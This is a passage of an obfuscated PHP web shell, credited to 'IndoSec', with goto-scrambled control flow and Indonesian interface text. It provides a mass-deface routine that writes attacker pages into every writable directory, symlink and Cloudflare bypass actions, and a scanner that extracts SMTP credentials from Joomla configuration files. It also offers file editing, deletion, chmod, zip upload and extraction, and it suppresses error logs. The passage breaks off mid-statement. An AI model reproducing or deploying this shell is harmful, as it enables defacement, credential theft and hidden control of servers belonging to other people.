\x9</form>"; goto B_aHF; B_aHF: if (isset($_POST["ganti"])) { goto QKLZ5; QKLZ5: $baru = htmlspecialchars($_POST["namanew"]); goto BLWgr; l2jOQ: if ($ubah) { goto U286q; U286q: $swa = "success"; goto x0WzU; x0WzU: $text = "Berhasil Mengganti Nama"; goto xrqe3; YSvaW: swall($swa, $text, $dir); goto gqvgc; xrqe3: $dir = dirname($dir); goto YSvaW; gqvgc: } else { goto HEyMW; HEyMW: $swa = "error"; goto zGZwy; Y8SSk: swall($swa, $text, $dir); goto PnVvq; rJykO: $dir = dirname($dir); goto Y8SSk; zGZwy: $text = "Gagal Mengganti Nama"; goto rJykO; PnVvq: } goto w3UtM; BLWgr: $ubah = rename($dir, '' . dirname($dir) . "/" . $baru . ''); goto l2jOQ; w3UtM: } goto Ht5hA; z_kwc: } goto R6uAn; KB25g: $curl = function_exists("curl_version") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto ADDCP; jaqPi: @ini_set("error_log", NULL); goto d6UQd; SjvR3: $paths = explode("/", $path); goto hNteG; QWWRl: if ($_GET["aksi"] == "symread") { aksiSymread($dir, $file); } goto yu_yk; dMd6a: @clearstatcache(); goto jaqPi; WUrcF: if ($_GET["aksi"] == "sym_bypas") { symBypass($dir, $file); } goto PlgOz; sZUYH: function aksiMasdef($dir, $file, $imgfol, $imgfile) { goto Cj8PS; Qnj7G: if ($_POST["start"]) { goto na8eB; wcOEU: if ($_POST["tipe"] == "mahal") { tipe_massal($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); } elseif ($_POST["tipe"] == "murah") { tipe_biasa($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); } goto pel2b; na8eB: echo "[ <a href='?dir={$dir}'>Kembali</a> ] 
\xa\x9	<textarea class='form-control' rows='13' disabled=''>"; goto wcOEU; pel2b: echo "</textarea><br/>"; goto W88tL; W88tL: } else { echo "<form method='post'> 
\xa	\x9\x9<div class='text-center'>\xd 
	\x9\x9\x9<h5>Tipe :</h5> 
\xa	\x9\x9\x9<input id='toggle-on' class='toggle toggle-left' name='tipe' value='murah' type='radio' checked> 
\xa		\x9\x9<label for='toggle-on' class='butn'>Biasa</label> 
\xa			\x9<input id='toggle-off' class='toggle toggle-right' name='tipe' value='mahal' type='radio'> 
\xa\x9\x9	\x9<label for='toggle-off' class='butn'>Masal</label>\xd\xa\x9	\x9</div>  
		\x9<h5>{$imgfol} Lokasi :</h5>\xd\xa		\x9<input type='text' name='d_dir' value='{$dir}' class='form-control'><br> 
\xa			<h5>{$imgfile} Nama File :</h5>\xd 
\x9		<input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/> 
\xa\x9\x9	<h5>{$imgfile} Isi File :</h5>\xd\xa	\x9\x9<textarea name='script' class='form-control' rows='13' placeholder='[Ex] Hacked By { IndoSec }'></textarea><br/>\xd\xa			<input type='submit' name='start' value='Mass Deface' class='btn btn-danger btn-block'>\xd\xa		</form>"; } goto xv9qC; kMD_w: function tipe_biasa($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto KF1Bl; vSkA9: if ($dirb === ".") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "..") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "Done > {$dirb}/{$namafile} 
"; file_put_contents($lokasi, $isi_script); } } } goto zidlR; zUNmS: $lokasi = $dirc . "/" . $namafile; goto vSkA9; KF1Bl: $dirc = "{$dir}/{$dirb}"; goto zUNmS; zidlR: } } } goto Qnj7G; Cj8PS: function tipe_massal($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto sZGbD; K6bv8: if ($dirb === ".") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "..") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { goto sEhPD; sEhPD: echo "Done > {$lokasi} 
"; goto do6Kg; INUxl: $masdef = tipe_massal($dirc, $namafile, $isi_script); goto MNZuO; do6Kg: file_put_contents($lokasi, $isi_script); goto INUxl; MNZuO: } } } goto Svihv; sZGbD: $dirc = "{$dir}/{$dirb}"; goto o_G2N; o_G2N: $lokasi = $dirc . "/" . $namafile; goto K6bv8; Svihv: } } } goto kMD_w; xv9qC: exit; goto USSX5; USSX5: } goto KOm7m; rejeN: if ($_GET["aksi"] == "rename_folder") { renameFolder($dir, $ndir, $imgfol); } goto Ot8UB; rGm1j: $dir = str_replace("\", "/", $dir); goto m95hV; Hn4Nw: function formatSize($bytes) { goto CTgpl; pMDqt: return round($bytes, 2) . " " . $types[$i]; goto lFRk3; KeBLr: for ($i = 0; $bytes >= 1024 && $i < count($types) - 1; $bytes /= 1024, $i++) { } goto pMDqt; CTgpl: $types = array("B", "KB", "MB", "GB", "TB"); goto KeBLr; lFRk3: } goto Cykyt; VrQx0: function chmodFolder($dir, $ndir) { goto j5B61; FovYY: exit; goto vSh5i; j5B61: echo "<form method='POST'> 
\x9\x9<h5>Chmod Folder : {$ndir} </h5>\xd 
		<div class='form-group input-group'>\xd 
\x9\x9\x9<input type='text' name='perm' class='form-control' value='" . substr(sprintf("%o", fileperms($_GET["dir"])), -4) . "'> 
		\x9<input type='submit' class='btn btn-danger form-control' value='Chmod' name='chmo'> 
		</div>\xd\xa	</form>"; goto X0n9U; X0n9U: if (isset($_POST["chmo"])) { if (@chmod($_GET["dir"], $_POST["perm"])) { echo "<font color="lime">Change Permission Berhasil</font><br/>"; } else { echo "<font color="white">Change Permission Gagal</font><br/>"; } } goto FovYY; vSh5i: } goto vWrZ6; CaV21: function scj($dir) { goto KrU0l; ikVd0: exit; goto mju2m; qGCPJ: echo "<p class='text-muted'>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</p>"; goto ikVd0; KrU0l: $dirs = scandir($dir); goto pCK4W; pCK4W: foreach ($dirs as $dirb) { goto e0Fbl; apQeE: $ambil = file_get_contents("{$dir}/{$dirb}"); goto SaSnJ; Rx0Nt: if (preg_match("/JConfig|joomla/", $ambil)) { goto gqqCg; pSqup: $smtp_pass = ambilkata($ambil, "smtppass = '", "'"); goto uVy9q; AFKTS: $smtp_secure = ambilkata($ambil, "smtpsecure = '", "'"); goto P1a7x; gqqCg: $smtp_host = ambilkata($ambil, "smtphost = '", "'"); goto BAxPY; uVy9q: $smtp_port = ambilkata($ambil, "smtpport = '", "'"); goto AFKTS; i0nSA: $smtp_user = ambilkata($ambil, "smtpuser = '", "'"); goto pSqup; BAxPY: $smtp_auth = ambilkata($ambil, "smtpauth = '", "'"); goto i0nSA; P1a7x: echo "<table class='text-white table table-bordered'> 
\x9\x9	\x9<tr>\xd 
\x9				<td>SMTP Host: {$smtp_host}</td> 
\xa	\x9\x9\x9</tr> 
\xa\x9\x9	\x9<tr> 
\xa\x9\x9	\x9	<td>SMTP Port: {$smtp_port}</td> 
		\x9\x9</tr> 
\xa\x9	\x9	<tr> 
\xa	\x9	\x9\x9<td>SMTP User: {$smtp_user}</td> 
\x9	\x9	</tr>\xd\xa\x9			<tr> 
\x9		\x9	<td>SMTP Pass: {$smtp_pass}</td> 
\x9	\x9	</tr>\xd\xa				<tr> 
\x9\x9\x9\x9	<td>SMTP Auth: {$smtp_auth}</td>\xd 
\x9\x9\x9	</tr>\xd\xa\x9	\x9	<tr>\xd\xa\x9	\x9\x9\x9<td>SMTP Secure: {$smtp_secure}</td> 
\x9	\x9\x9</tr>\xd\xa		\x9</table>"; goto xw02J; xw02J: } goto eT4Zi; SaSnJ: $ambil = str_replace("$", '', $ambil); goto Rx0Nt; e0Fbl: if (!is_file("{$dir}/{$dirb}")) { continue; } goto apQeE; eT4Zi: } goto qGCPJ; mju2m: } goto dMaf5; POaEb: function swall($swa, $text, $dir) { echo "<script>Swal.fire({\xd 
\x9\x9title: '{$swa}', 
\xa\x9	text: '{$text}',\xd\xa\x9	type: '{$swa}', 
\xa\x9}).then((value) => {window.location='?dir={$dir}';})</script>"; } goto HPFNR; MGkZQ: $pers = (int) ($free / $total * 100); goto ojXWH; Ot8UB: if ($_GET["aksi"] == "hapus_folder") { deleteFolder($dir, $ndir); } goto JC923; QLTzH: if ($_GET["aksi"] == "hapusf") { hapusFile($dir, $file, $nfile); } goto cNm1V; pxxCU: function zipMenu($dir, $file) { goto KwhaV; legY4: if ($_POST["extrak"]) { $zip = $_POST["file_zip"]; if (Zip_Extrack($zip, $dir)) { goto uljzs; HgX4c: $text = "Berhasil Mengekstrak Zip"; goto CiUFf; uljzs: $swa = "success"; goto HgX4c; CiUFf: swall($swa, $text, $dir); goto eOwxe; eOwxe: } else { echo "<b>Gagal!</b>"; } } goto xhVRW; nv1oI: if ($_POST["backup"]) { $fol = $_POST["folder"]; if (Zip($fol, $_POST["folder"] . "/" . $exzip)) { goto iPONe; fc5ka: $text = "Berhasil Membuat Zip"; goto feE8g; iPONe: $swa = "success"; goto fc5ka; feE8g: swall($swa, $text, $dir); goto LXz9J; LXz9J: } else { echo "<b>Gagal!</b>"; } } goto hVO8_; KeFt3: echo "<div class="card card-body text-dark mb-4">\xd\xa		<h4 class="text-center">Zip Menu</h3>\xd\xa	\x9<form enctype="multipart/form-data" method="post">\xd 
		\x9<div class="form-group"> 
			\x9<label>Zip File:</label>\xd\xa	\x9\x9\x9<div class="custom-file"> 
\xa\x9\x9		\x9<input type="file" name="zip_file" class="custom-file-input" id="customFile"> 
\x9	\x9\x9	<label class="custom-file-label" for="customFile">Choose file</label>\xd 
				</div> 
	\x9\x9\x9<input type="submit" name="upnun" class="btn btn-danger btn-block mt-3" value="Upload & Unzip"/>\xd\xa		\x9</div> 
\xa		</form>"; goto saYi2; RztaG: function Zip_Extrack($zip_files, $to_dir) { goto G_8b4; G_8b4: $zip = new ZipArchive(); goto R0rVV; M5D2F: if ($res === TRUE) { goto ToJkA; l0CL3: return @$zip->close(); goto V95_5; ToJkA: $name = basename($zip_files, ".zip") . "_unzip"; goto whgdB; r7GgU: @$zip->extractTo($to_dir . "/" . $name); goto l0CL3; whgdB: @mkdir($name); goto r7GgU; V95_5: } else { return false; } goto G6qn4; R0rVV: $res = $zip->open($zip_files); goto M5D2F; G6qn4: } goto KeFt3; hVO8_: echo "</div>\xd\xa		<div class='col-md-6'><h5>Unzip Manual</h5> 
	\x9<form action='' method='post'>\xd 
	\x9	<label>Zip Location:</label> 
\x9	\x9<input type='text' name='file_zip' class='form-control mb-3' value='{$dir}/{$exzip}'> 
\xa	\x9	<input type='submit' name='extrak' class='btn btn-danger btn-block' value='Unzip!'>\xd\xa	\x9</form>"; goto legY4; xhVRW: echo "</div></div></div>"; goto X3tKv; saYi2: if ($_POST["upnun"]) { goto nnNmC; nnNmC: $filename = $_FILES["zip_file"]["name"]; goto yUCIk; yUCIk: $tmp = $_FILES["zip_file"]["tmp_name"]; goto LpgzB; LpgzB: if (move_uploaded_file($tmp, "{$dir}/{$filename}")) { goto ytfLg; ytfLg: echo Zip_Extrack($filename, $dir); goto fCJvV; fCJvV: unlink($filename); goto H3sXy; H3sXy: $swa = "success"; goto SObv_; XCmpd: swall($swa, $text, $dir); goto guVE2; SObv_: $text = "Berhasil Mengekstrak Zip"; goto XCmpd; guVE2: } else { echo "<b>Gagal!</b>"; } goto FxM6O; FxM6O: } goto R_23f; KwhaV: $exzip = basename($dir) . ".zip"; goto oK1ly; R_23f: echo "<div class='row'><div class='col-md-6 mb-3'><h5>Zip Backup</h5>\xd 
		<form method='post'>\xd 
\x9\x9	<label>Folder</label> 
\x9\x9\x9<input type='text' name='folder' class='form-control mb-3' value='{$dir}'> 
\xa	\x9	<input type='submit' name='backup' class='btn btn-danger btn-block' value='Backup!'> 
\xa\x9	</form>"; goto nv1oI; oK1ly: function Zip($source, $destination) { if (extension_loaded("zip") === true) { if (file_exists($source) === true) { goto AYdCH; ibxDx: return @$zip->close(); goto mhaN1; hVpOA: if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) { $source = realpath($source); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = realpath($file); if (is_dir($file) === true) { } elseif (is_file($file) === true) { $zip->addFromString(str_replace($source . "/", '', $file), file_get_contents($file)); } } } elseif (is_file($source) === true) { $zip->addFromString(basename($source), file_get_contents($source)); } } goto ibxDx; AYdCH: $zip = new ZipArchive(); goto hVpOA; mhaN1: } } return false; } goto RztaG; X3tKv: } goto hxcvI; s9Tx3: $sof = $_SERVER["SERVER_SOFTWARE"]; goto rGm1j; zRAIO: date_default_timezone_set("Asia/Jakarta"); goto dmN97; Ps3EX: $web = $_SERVER["HTTP_HOST"]; goto s9Tx3; pZDoR: $mysql = function_exists("mysql_connect") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto KB25g; Flkqi: if ($_GET["aksi"] == "chmod_dir") { chmodFolder($dir, $ndir); } goto cx3uU; TLIVZ: if ($_GET["aksi"] == "bypascf") { bypasscf(); } goto TJWJH; J3SOc: foreach ($scandir as $file) { goto GwpMa; CIjmO: $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); goto Qh6_7; FrNqh: if (is_writable($path . "/" . $file) || !is_readable($path . "/" . $file)) { echo "</font></a></td>\xd\xa\x9\x9		\x9\x9	<td class="d-flex"> 
	\x9		\x9\x9	\x9<a title="Lihat" class="badge badge-info" href="?dir=" . $path . "&aksi=view&file=" . $path . "/" . $file . "">&nbsp;<i class="fa fa-eye"></i>&nbsp;</a>&nbsp;&nbsp;\xd\xa		\x9		\x9\x9\x9<a title="Edit" class="badge badge-success" href="?dir=" . $path . "&aksi=edit&file=" . $path . "/" . $file . "">&nbsp;<i class="far fa-edit"></i>&nbsp;</a>&nbsp;&nbsp;\xd 
\x9\x9	\x9	\x9\x9	<a title="Rename" class="badge badge-success" href="?dir=" . $path . "&aksi=rename&file=" . $path . "/" . $file . "">&nbsp;<i class="fa fa-pencil"></i>&nbsp;</a>&nbsp;&nbsp; 
				\x9\x9\x9\x9<a title="Delete" class="badge badge-danger" href="?dir=" . $path . "&aksi=hapusf&file=" . $path . "/" . $file . "" title="Delete">&nbsp;<i class="fa fa-trash"></i>&nbsp;</a>&nbsp;&nbsp; 
\xa\x9\x9\x9\x9\x9			<a title="Download" class="badge badge-primary" href="?&dir=" . $path . "&aksi=download&file=" . $path . "/" . $file . "" title="Download">&nbsp;<i class="fa fa-download"></i>&nbsp;</a> 
\xa\x9\x9\x9\x9	\x9	</td>\xd 
\x9\x9			\x9</tr>"; } goto aH573; Qh6_7: if ($ext == "php") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAMAAAD04JH5AAAAA3NCSVQICAjb4U/gAAAACXBIWXMAAAN2AAADdgF91YLMAAAAGXRFWHRTb2Z0d2FyZQB3d3cuaW5rc2NhcGUub3Jnm+48GgAAAcVQTFRF////4uXnV21+4uXn4uXn4uXnV21+4uXn4uXnwMbLV21+4uXnV21+4uXnV21+WG5/WW+AW3CBXHGCXHKCXXKDXnODXnOEX3SEYHSFYneHZHiIZXmIZXmJZXqJZnqKZ3uKZ3uLan6Na36Oa3+ObH+ObYCPb4GQcYOScoSTdIaUdYeVdoiWd4iWd4mXeouZe4yZe4yafI2afY6bf4+cf5CdgZGegZKegpKfg5OghJWhhpaih5ejiJejiZmkjZynjp2okJ6qk6GslKKtlqSvmaaxmqeynKmzoKu1oK22oa23o6+5pbG6qLO8qbW9rbfArrnBsLe9sLrCsbvDsrm/s73FtL7FtbvBtb7Gtr/HucLJusPKu8TLvcbMvsTJv8XKv8fOwMnPw8vRxMvRxc3Syc7SydDWytHWytHYy9LYzNPZzNPazdHVzdPZztTZz9Xa0tje1Nnc1Nne1dvf1tvf1tzg19zg2N3h2t/j29/h3eHl3eLl4OPl4eXo4uXn4ubp4+bp4+fq5ejr5enr5uns5+rs6Ovt6u3v6+3v7O7w7/Hy7/Hz8/X29PX29fb39vf49vj49/j5+Pn5+vr7+/z8/f39/v7+////csH2mgAAAA50Uk5TAAEaJG5+prK0wObm6vXU4MSnAAADYklEQVR42u3baVfTQBQG4AItRSqpioiKuwiKO7iBuCGLuFHccUFlEWQRFKQojggqqIiCtv29zjSladrQLPdOxg/zfuncOfckz2maNE3PeDxZkufzB4jDrPGAk+MtIs4TAgtyCggkIbDAS4AAoCCvCAyACXwEDgAJ/BgAiCCAAgAICA7AuQAL4FiABnAqwAM4FCACnAkwAY4EqAAnAlyAAwEywL4AG2BbgA6wK8AH2BRwANgT8ADYEnAB2BHwAdgQQAH3oAIooDMEFEABPSGgAAqYvA0UQAFkMAQTgAHkCUwAB5BB0FFAAJDJnk7nZyNBylifcVwDrCZwD7CKwEWAscBNgKHAVYCRwF2AgcBlQKbAbUCGwHVAusB9QJpAAEAvEAHQCYQAUgViACkCQQBNIAqQFAgDrAjEARICgQBVIBIQFwgFMIFYABUIBpAx0QAiAf8hIDe/UOGUsvpRc0DuWoVjtoyaAvIVrqk3BRTyBZSZAhTOkQAJkAAJcAI41aqm8XipNlkc1PWUJF4PXFF7m09vRQMMxZKJjh9MTD5emqvRWsrDkd44qE3rjc3U4QD2x1ITuROfrKbDIa2ng5Zn2duyqGvuLcUA1MX0aWKTl+lgVut5Q8tW+rozrfchFuDvI5buebbR33tNAF2s99nH+CE7gwRYVIfBq1FadJgAytW5cz/peAIXoCj3aRG2BlAu0fFyEBmwI7FRKwDlBy0qkQHKAq32WQS8psV5ZEAJ/RBESlTA3KFk3hsCZmhxDBnQRItPic9AWjIARxl2Iy6gdokWz60BKr/Q8TTSWfAnfn2/MczOwmiNCeAm673WtczGzRyuhO2KCSAlrzhciofXrwA+Fyfz1hjwYRc64NsFddLKd8Gv1nUK2nfBA5a2hsMbFHPAU9Z7q7F6M9L9gP5CZAFQjnxHJAG1dJsLFgHbGGA3MmATvc16kT5ZRXfUrZXttDzBBu9isXn0u+KG2YkjGZPXv45XadX27u9344OT4ZmL8oeJBEiABAABnB9UVoh+VNsi+GH1nn6hj+srWvr7bP9h0YebAdGAEcGAl1NCAQMjU/JfMwmQAAmwDwjw3X+A+5JPk/i5L3o1iY/7st/sKcrjvvA5e7z8l35nTUEO/8Xv2d5/r6X9A5f/r3r++X264/8POy/HplRupU4AAAAASUVORK5CYII="; } elseif ($ext == "html") { echo "data:image/png;base64,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"; } elseif ($ext == "css") { echo "data:image/png;base64,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"; } elseif ($ext == "png") { echo 